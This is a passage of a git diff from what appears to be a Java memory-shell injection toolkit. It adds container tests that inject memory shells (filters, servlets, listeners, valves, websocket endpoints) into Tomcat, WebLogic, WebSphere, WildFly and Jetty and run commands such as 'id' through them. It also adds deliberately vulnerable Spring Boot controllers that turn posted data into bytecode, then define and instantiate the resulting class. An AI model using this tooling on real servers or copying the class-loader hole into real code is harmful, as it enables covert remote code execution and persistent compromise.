b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java index 942b5077..f14f21bd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java @@ -83,10 +83,6 @@ public class Tomcat8CommandEncryptorContainerTest { ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container); String payload = Base64.getEncoder().encodeToString(Base64.getEncoder().encode("id".getBytes())); - if (shellType.endsWith(ShellType.WEBSOCKET)) { - ShellAssertion.webSocketCommandIsOk(shellUrl, payload); - } else { - ShellAssertion.commandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), payload); - } + ShellAssertion.commandIsOk(shellUrl, shellType, uniqueName, payload); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java index df94ab87..6ede0276 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -77,4 +79,12 @@ public class Tomcat8ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, + ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_8); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java index b329cd51..723e3cc0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -52,6 +54,7 @@ public class Tomcat9ContainerTest { String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.FILTER, + ShellType.SERVLET, ShellType.LISTENER, ShellType.VALVE, ShellType.PROXY_VALVE, @@ -75,4 +78,12 @@ public class Tomcat9ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, + ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V9); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java index 88e8447a..87fd1f9d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.weblogic; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -77,4 +79,13 @@ public class WebLogic1036ContainerTest { log.info("container started, app url is : {}", url); return url; } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebLogic, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java index 33b8f21a..ebb007fc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.weblogic; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -80,4 +82,13 @@ public class WebLogic12214ContainerTest { log.info("container started, app url is : {}", url); return url; } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebLogic, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java index b52bd6ff..e3e04b0f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.weblogic; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -80,4 +82,13 @@ public class WebLogic14110ContainerTest { log.info("container started, app url is : {}", url); return url; } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebLogic, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java index c1e38624..499c54f0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.websphere; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; @@ -83,4 +85,13 @@ public class WebSphere855ContainerTest { log.info("container started, app url is : {}", url); return url; } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java index 72da856a..fab38b41 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.websphere; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; @@ -83,4 +85,12 @@ public class WebSphere905ContainerTest { log.info("container started, app url is : {}", url); return url; } + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java index cf5ab880..16c07386 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -71,4 +73,13 @@ public class Wildfly18ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = { ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java index e109fe2c..7ad01b10 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -71,4 +73,13 @@ public class Wildfly23ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = { ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java index 9188703a..f1d4d7cf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -75,4 +77,13 @@ public class Wildfly30ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V17); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java index b0809545..18e9f1cc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -75,4 +77,13 @@ public class Wildfly36ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V21, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V21); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java index 35074393..f1a085fe 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -80,4 +82,13 @@ public class Wildfly9ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = { ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java index f15d7468..b2ec261e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java @@ -33,7 +33,7 @@ public class GlassFish7ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*startup time.*", 1)) + .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) .withExposedPorts(8080); @AfterAll diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java index 019b540a..aa0f9670 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java @@ -1,10 +1,12 @@ package com.reajason.javaweb.integration.probe.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -53,4 +55,11 @@ public class Jetty12ee10ContainerTest { String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); assertEquals(Server.Jetty, data); } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java new file mode 100644 index 00000000..d2a75485 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java @@ -0,0 +1,65 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty12ee11ContainerTest { + public static final String imageName = "reajason/jetty:12.1-jre21-ee11"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|21.0.9|65", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Server.Jetty, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java index a1c05290..bdeeca13 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java @@ -1,10 +1,13 @@ package com.reajason.javaweb.integration.probe.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -32,6 +35,11 @@ public class Jetty12ee8ContainerTest { .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + @AfterAll + public static void tearDown() { + log.info(container.getLogs()); + } + @Test void testJDK() { String url = getUrl(container); @@ -53,4 +61,11 @@ public class Jetty12ee8ContainerTest { String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); assertEquals(Server.Jetty, data); } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java index 410c9edd..ca93ceda 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java @@ -1,10 +1,12 @@ package com.reajason.javaweb.integration.probe.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -53,4 +55,11 @@ public class Jetty12ee9ContainerTest { String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); assertEquals(Server.Jetty, data); } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); + } } diff --git a/vul/vul-springboot1/src/main/java/com/reajason/javaweb/vul/springboot1/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot1/src/main/java/com/reajason/javaweb/vul/springboot1/controller/BigIntegerClassLoaderController.java new file mode 100644 index 00000000..d8bf9ab3 --- /dev/null +++ b/vul/vul-springboot1/src/main/java/com/reajason/javaweb/vul/springboot1/controller/BigIntegerClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot1.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +@RestController +@RequestMapping("/biginteger") +public class BigIntegerClassLoaderController extends ClassLoader { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @PostMapping + public void base64ClassLoader(String data) throws Exception { + byte[] bytes = decodeBigInteger(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } +} diff --git a/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/BigIntegerClassLoaderController.java new file mode 100644 index 00000000..f03071b5 --- /dev/null +++ b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/BigIntegerClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +@RestController +@RequestMapping("/biginteger") +public class BigIntegerClassLoaderController extends ClassLoader { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @PostMapping + public void base64ClassLoader(String data) throws Exception { + byte[] bytes = decodeBigInteger(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } +} diff --git a/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java new file mode 100644 index 00000000..2bbdaca2 --- /dev/null +++ b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 